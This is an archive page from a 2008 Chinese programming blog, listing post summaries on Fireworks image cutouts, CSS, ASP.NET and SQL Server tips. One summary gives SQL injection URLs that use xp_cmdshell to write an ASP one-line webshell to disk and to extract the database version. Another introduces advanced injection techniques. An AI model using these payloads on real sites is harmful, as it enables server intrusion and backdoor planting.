龚艺的博客

龚艺的博客-码行天下

天才在于勤奋,知识在于积累。

  博客园 :: 首页 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::
  47 随笔 :: 1 文章 :: 61 评论 :: 0 引用

公告

08 2008 档案

摘要: 在数据库的学习中,要涉及到大量的数据,那么从哪里可以得到那些大量的数据呢?如果没有这些数据,又如何去学习、去实践呢?难道非要等到实际的工程中才能用到这些知识吗?可是我一直认为检验自己对某一项知识是否掌握,最重要的标准是看是否在实际中能够灵活应用。再说,在实际的工程环境中,也不允许你把理论用于实践。毕竟,如果运用的失败,会给组织带来巨大的损失。如何解决这个矛盾呢?难道就没有一些现成的数据能供自己只在学习中用吗?有人说可以边做边学,不做我认为边做边学是一种很被动的学习方式,特别是在实际项目中,因为你不知道是否你遇到的每一个实际问题,你都能解决! 阅读全文
posted @ 2008-08-31 11:27 龚艺-码行天下 阅读(2336) | 评论 (9) 编辑

摘要: 1.按猪的审美观,我基本算得上是个美女 2.自从两个**自称是某名牌大学的毕业生后,我现在一般都自称文盲! 3.想污染一个地方有两种方法:垃圾,或是钞票! 4.长得真有创意,活得真有勇气! 5.你可以像猪一样的生活,但你永远都不能像猪那样快乐!阅读全文
posted @ 2008-08-31 11:16 龚艺-码行天下 阅读(262) | 评论 (2) 编辑

摘要: 在与头发接近的同色系的背景下扣除头发来,如下面素材图所示,在FW中本人还没有想到什么更好的办法,希望大家能够提供出更好的建议来,把这个效果搞定。我在这里只是提供素材图,教程还没有,对进来的朋友说声对不起了!阅读全文
posted @ 2008-08-30 13:14 龚艺-码行天下 阅读(75) | 评论 (0) 编辑

摘要: 还是深入学习教程(七)的知识,本例中我们换一种角度来思考一下,单色背景扣非黑色头发的方法。 素材图已经在上节的作业中提供了:阅读全文
posted @ 2008-08-30 13:13 龚艺-码行天下 阅读(93) | 评论 (0) 编辑

摘要: 本例中,一个鼎鼎有名的软件要闪亮登场了——knockout 2.0,一款用来扣图的专业软件!当然,最大的好消息是,这个软件是支持fw的操作环境的。也就是说,我们可以在安装的过程中,将其面向对象的那个路径选择到fw的安装目录的"Plug-in"目录下,安装完毕后,再次运行fw,即可在“滤镜”菜单下发现我们安装的knockout2.0的外挂滤镜了! 既然提到了knockout2.0,我们就先要拥有这个软件才是。阅读全文
posted @ 2008-08-30 13:12 龚艺-码行天下 阅读(112) | 评论 (0) 编辑

摘要: 呵呵,标题已经够清楚了,就不再重复一次了。 我们在扣图教程(四)中,重点推荐了一种滤镜的使用——转换为Alpha,其实对于白色背景而言(如果非白色,就使用色阶滤镜来制造白色背景),使用“转换为Alpha”滤镜真的是一个比较不错的去背手段,即使头发不是黑色。本例我们就来深入探讨一下其中的关键所在。阅读全文
posted @ 2008-08-30 13:11 龚艺-码行天下 阅读(159) | 评论 (0) 编辑

摘要: 因为在上一节中对于扣头发已经有了相关的介绍,本例中我们就开门见山,直接开始进入正题了。 特别提示:本例中使用到了色阶工具。目的只有一个,将非黑白背景想办法再次变成黑白背景!阅读全文
posted @ 2008-08-30 13:10 龚艺-码行天下 阅读(88) | 评论 (0) 编辑

摘要: 扣头发是比较令人头疼的事情,为了便于说清楚,我将扣头发的类型分为了四类(我目前只想到了四类): 其一为:扣黑白背景效果的黑头发;其二为:扣非黑白色的接近纯色的背景效果的黑头发;其三为:扣背景色较为单一的非黑色头发;其四为:扣背景色和头发色接近的头发。个人认为这几种类型的难度系数是逐渐增大的。在接下来的几篇教程中,我会依次介绍前三种的扣图方法,至于第四种,在fw中,还没有找到较好的解决方法,留待继续研究中!阅读全文
posted @ 2008-08-30 13:08 龚艺-码行天下 阅读(190) | 评论 (0) 编辑

摘要: 继续来扣图,今天状态不错,打了半天字儿,头也不晕,眼也不花,接着来学习扣婚纱啦!还是那句话,从最简单的开始,先扣单色背景的婚纱图。阅读全文
posted @ 2008-08-30 13:07 龚艺-码行天下 阅读(168) | 评论 (0) 编辑

摘要: 初学FW的朋友们,如果大家认为扣图很困难的话,那就大错特错了,排除各位非要扣那些头发丝儿很明显的图的这个想法之外,大部分的扣图操作在FW中是可以胜任的。咱要知道,专业的扣图软件是为PS制作的,没有为FW准备来着,所以充分的利用FW的现有功能,处理出需要达到的效果才是关键所在啊。 阅读全文
posted @ 2008-08-30 13:06 龚艺-码行天下 阅读(59) | 评论 (0) 编辑

摘要: 好久不动手写东西了,如果说得有什么不清楚的地方,大家万万海涵一下在下啊!人老了,说话难免啰嗦的,况且老I早在几年前就说我人未老,话先衰来着,呵呵,废话不多讲了,咱们还是一起来看看如何在FW中对简单背景的图片进行扣图处理吧! 阅读全文
posted @ 2008-08-30 13:00 龚艺-码行天下 阅读(158) | 评论 (0) 编辑

摘要: 页头:header 登录条:loginBar 标志:logo 侧栏:sideBar 广告:banner 导航:nav 子导航:subNav 菜单:menu 子菜单:subMenu 搜索:search 滚动:scroll 页面主体:main 内容:content 标签页:tab 文章列表:list阅读全文
posted @ 2008-08-29 17:52 龚艺-码行天下 阅读(801) | 评论 (9) 编辑

摘要: sql数据库放在局域网内的一台服务器上,网内的工作站可以通过查询分析器和企业管理器对这个sql数据库进行连接。 但就有那么少数几台机器连接不上这个sql数据库,用查询分析器或是企业管理器都不能,会出现超时的连接错误。但这几台机器连接其他服务器上的sql数据库又没问题,唯独连接这一个sql数据库才会有问题。阅读全文
posted @ 2008-08-29 13:44 龚艺-码行天下 阅读(577) | 评论 (0) 编辑

摘要: 今天看到几篇面试相关的文章。面试是我最近想的很多的问题,有所思,有所得,从小部门面试的角度谈谈所思所得吧。 面试就是在短时间内对应聘者的经验、能力、潜力进行评估。我一般比较关注这些方面:(1)品格;(2)经验;(3)解决问题的能力;(4)技术特长;(5)潜力。面试时间一般为1小时,笔试+机试+面谈。 下面结合偶常用的一份C++/C#程序员面试题谈谈体会。 阅读全文
posted @ 2008-08-28 20:29 龚艺-码行天下 阅读(1525) | 评论 (12) 编辑

摘要:  最近我一直在寻找如何在web页面上显示RSS Feed的方法,我选择 C#和ASP.NET作为工具。我创建了一个简单的处理函数来处理从一个URL获得的RSS Feed。你可以直接使用这个简单的函数,或者改造成你想要的功能。阅读全文
posted @ 2008-08-28 10:24 龚艺-码行天下 阅读(100) | 评论 (0) 编辑

摘要: 如见Web2.0被吵的如火如荼,同时也有很多的评论褒贬不一。有人说Web2.0就是“一帮人在看皇帝的新装而已”。也有人说Web2.0将是一场变革。无论这些争论有没有价值,但我相信,存在就有它的必然性。也许Web2.0更像是一种商业模式,一个观念的变革而非技术。阅读全文
posted @ 2008-08-28 10:20 龚艺-码行天下 阅读(165) | 评论 (0) 编辑

摘要: 前言: 即是高级技巧,其它基本的注入方法就不详述了。 看不懂可查本站的注入基础文章。 为了更好的用好注入,建议大家看看本站的SQL语法相关文章阅读全文
posted @ 2008-08-28 10:12 龚艺-码行天下 阅读(255) | 评论 (1) 编辑

摘要: 晨报讯 (记者 徐晶晶)一条清华新闻网被黑的消息在各大网站流传。一名黑客捏造了一篇清华大学校长顾秉林接受采访的新闻报道,批评现行教育制度。前天,清华大学新闻中心为此特别在网上发表声明,称对此黑客行为表示“强烈愤慨和谴责”。 阅读全文
posted @ 2008-08-27 09:55 龚艺-码行天下 阅读(50) | 评论 (0) 编辑

摘要: 最近,经常有朋友问我一些工作中遇到的CSS问题。他们总是不能很好的控制CSS,影响CSS的效率发挥。我来分析总结一下错误所在,帮助大家更加容易使用CSS。 本文总结了我开始使用CSS布局方法以来所有的技巧和兼容方案,我愿意把这些与你分享,我会重点解释一些新手容易犯的错误(包括我自己也犯过的),如果你已经是CSS高手,这些经验技巧可能已经都知道,如果你有更多的,希望可以帮我补充。 阅读全文
posted @ 2008-08-26 21:21 龚艺-码行天下 阅读(163) | 评论 (0) 编辑

posted @ 2008-08-26 21:15 龚艺-码行天下 阅读(236) | 评论 (0) 编辑

摘要:  1. 打开新的窗口并传送参数:     传送参数:     response.write("")     接收参数:     string a = Request.QueryString("id");     string b = Request.QueryString("id1"); 阅读全文
posted @ 2008-08-26 21:08 龚艺-码行天下 阅读(320) | 评论 (0) 编辑

摘要: 从开始认识CSS(DW4)那时起,我就知道了CSS的强大,但从未用CSS排版过,因为我曾经尝试过学习,但感觉太难了而且用DW的表格,所见及所得,做起页面来非常的快,排版也容易的多,由于最近求职,很多公司都要求DIV,CSS,所以我再次尝试学习。阅读全文
posted @ 2008-08-26 20:57 龚艺-码行天下 阅读(1530) | 评论 (2) 编辑

摘要: 一、命名 对于理解应用程序的逻辑流,命名方案是最有影响力的一种帮助。名称应该说明“什么”而不是“如何”。通过避免使用公开基础实现(它们会发生改变)的名称,可以保留简化复杂性的抽象层。例如,可以使用 GetNextStudent(),而不是 GetNextArrayElement()。 命名原则是: 选择正确名称时的困难可能表明需要进一步分析或定义项的目的。使名称足够长以便有一定的意义,并且足够短以避免冗长。唯一名称在编程上仅用于将各项区分开。表现力强的名称是为了帮助人们阅读;因此,提供人们可以理解的名称是有意义的。不过,请确保选择的名称符合适用语言的规则和标准。 以下几点是推荐的命名方法。 阅读全文
posted @ 2008-08-25 21:22 龚艺-码行天下 阅读(314) | 评论 (0) 编辑

摘要: --1.给表中字段添加描述信息 CREATE table T2 (id int , name char (20)) GO EXEC sp_addextendedproperty 'MS_Description', 'Employee ID', 'user', dbo, 'table', T2, 'column', id EXEC sp_updateextendedproperty 'MS_Description', 'this is a test', 'user', dbo, 'table', T2, 'column', id --2.修改数据库名称 EXEC sp_renamedb 'old_db_name', 'new_db_name' --3.修改数据表名称和字段名称 EXEC sp_rename 'old_table_name', 'new_table_name'--修改数据表名称 EXEC sp_rename 'table_name.[old_column_name]', 'new_column_name', 'COLUMN'--修改阅读全文
posted @ 2008-08-24 19:01 龚艺-码行天下 阅读(221) | 评论 (0) 编辑

摘要: QUOTE: 1、 用^转义字符来写ASP(一句话木马)文件的方法:  http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^ >c:\mu.asp';--  echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp 2、 显示SQL系统版本:  http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)  http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)-- 阅读全文
posted @ 2008-08-24 18:54 龚艺-码行天下 阅读(528) | 评论 (0) 编辑

摘要: 在A服务器中有表 table1 ,想把该表的内容导到 B服务器中,这两个数据库没联网,怎么办? 导成外部文件,再用导入导出。。。。 这太笨了吧,如果对方服务器是INTERNET上的,只能执行服本怎么办,晕死了吧,用这个存储过程来帮你。 阅读全文
posted @ 2008-08-24 18:39 龚艺-码行天下 阅读(68) | 评论 (0) 编辑

摘要: -- ====================================================== --列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息 --在查询分析器里运行即可,可以生成一个表,导出到EXCEL中 -- ====================================================== SELECT (case when a.colorder=1 then d.name else '' end)表名, a.colorder 字段序号, a.name 字段名, (case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end) 标识, (case when (SELECT count(*) FROM sysobjects WHERE (name in 阅读全文
posted @ 2008-08-24 18:37 龚艺-码行天下 阅读(215) | 评论 (0) 编辑

摘要: 1. ORACLE SELECT * FROM TABLE1 WHERE ROWNUM<=N 2. INFORMIX SELECT FIRST N * FROM TABLE1 3. DB2 SELECT * ROW_NUMBER() OVER(ORDER BY COL1 DESC) AS ROWNUM WHERE ROWNUM<=N 或者 SELECT COLUMN FROM TABLE FETCH FIRST N ROWS ONLY 4. SQL SERVER SELECT TOP N * FROM TABLE1 5. SYBASE SET ROWCOUNT N GO SELECT * FROM TABLE1 阅读全文
posted @ 2008-08-24 18:34 龚艺-码行天下 阅读(146) | 评论 (0) 编辑

摘要: EXECUTE sp_makewebtask @outputfile = 'D:"alcatel"20030902"check.htm', @query = 'SELECT * FROM Eiems_temporarydata..property', @templatefile = 'D:"alcatel"20030902"check.TPL',------check.tpl文件为模板文件 @dbname = 'Eiems_temporarydata', @rowcnt = 0, @whentype = 9 ,@lastupdated = 1 GO ******************************check.TPL******************************* 阅读全文
posted @ 2008-08-24 18:31 龚艺-码行天下 阅读(30) | 评论 (0) 编辑

摘要: 看了Heroman的一篇文章,谈论该不该在项目中使用存储过程代替SQL语句。看后有一些感想,因为最近工作接触到一个系统,业务过程几乎完全是用存储过程实现的。随着系统的不断发展,新的需求逐渐难以支持。这个原因当然很复杂,即使不使用存储过程,可能也有同样的问题。但是既然谈到具体技术上,就来看一下一个主要以存储过程实现的系统到底有哪些问题。 存储过程和嵌入程序中的SQL哪个更好,要用一种合理的比较方式来比,不能拿写的好的存储过程和写的烂的程序比,当然也不能拿写的烂的存储过程和写的好的程序比。我们先假设开发人员具有同样水平,项目组具有同样的组织协调能力,他们写出的存储过程和代码具有同样的质量,都已经根据产品的具体情况做出了最优的选择。 阅读全文
posted @ 2008-08-24 18:23 龚艺-码行天下 阅读(148) | 评论 (1) 编辑

摘要: SQL五个集合函数:SUM,AVG,COUNT,MAX,MIN  通配符的一些用法:(关键字:like % [] -)   select * from tablename where column1 like '[A-M]%'   这样可以选择出column字段中首字母在A-M之间的记录   select * from tablename where column1 like '[ABC]%'   这样可以选择出column字段中首字母是A或者B或者C的记录   select * from tablename where column1 like '[A-CG]%'   这样可以选择出column字段中首字母在A-C之间的或者是G的记录   select * from tablename where column1 like '[^C]%'   这样可以选择出column字段中首字母不是C的记录 阅读全文
posted @ 2008-08-24 18:16 龚艺-码行天下 阅读(179) | 评论 (0) 编辑

posted @ 2008-08-23 21:20 龚艺-码行天下 阅读(153) | 评论 (2) 编辑

posted @ 2008-08-17 15:37 龚艺-码行天下 阅读(305) | 评论 (1) 编辑

摘要: 1. 简述 private、 protected、 public、 internal 修饰符的访问权限。 答 . private : 私有成员, 在类的内部才可以访问。 protected : 保护成员,该类内部和继承类中可以访问。 public : 公共成员,完全公开,没有访问限制。 internal: 在同一命名空间内可以访问。 protected internal: 成员只能从同一程序集内的派生类访问。 2 .列举ASP.NET 页面之间传递值的几种方式。 答. 1.使用QueryString, 如....?id=1; response. Redirect().... 2.使用Session变量 3.使用Server.Transfer 3. 一列数的规则如下: 1、1、2、3、5、8、13、21、34...... 求第30位数是多少, 用递归算法实现。 答:public class MainClass { public static v阅读全文
posted @ 2008-08-16 14:26 龚艺-码行天下 阅读(4270) | 评论 (6) 编辑

摘要: 大家都在讨论关于数据库优化方面的东东,刚好参与开发了一个数据仓库方面的项目,以下的一点东西算是数据库优化方面的学习+实战的一些心得体会了,拿出来大家共享。欢迎批评指正阿! SQL语句: 是对数据库(数据)进行操作的惟一途径; 消耗了70%~90%的数据库资源;独立于程序设计逻辑,相对于对程序源代码的优化,对SQL语句的优化在时间成本和风险上的代价都很低; 可以有不同的写法;易学,难精通。 SQL优化: 固定的SQL书写习惯,相同的查询尽量保持相同,存储过程的效率较高。 应该编写与其格式一致的语句,包括字母的大小写、标点符号、换行的位置等都要一致 阅读全文
posted @ 2008-08-16 14:19 龚艺-码行天下 阅读(103) | 评论 (0) 编辑

摘要: ASP.NET页面之间传值的方法,我试过的有3种方法,现在总结如下: 注意:如果谁还知道别的方法,不妨说来,共同交流一下。 一种是通过session变量来传送相应的值,再一种是可以通过用QueryString来传送相应的值,还有就是通过Server.Transfer方法来实现。现介绍如下: 阅读全文
posted @ 2008-08-16 14:15 龚艺-码行天下 阅读(93) | 评论 (0) 编辑

posted @ 2008-08-15 21:51 龚艺-码行天下 阅读(11) | 评论 (1) 编辑

友情链接检查
龚艺博客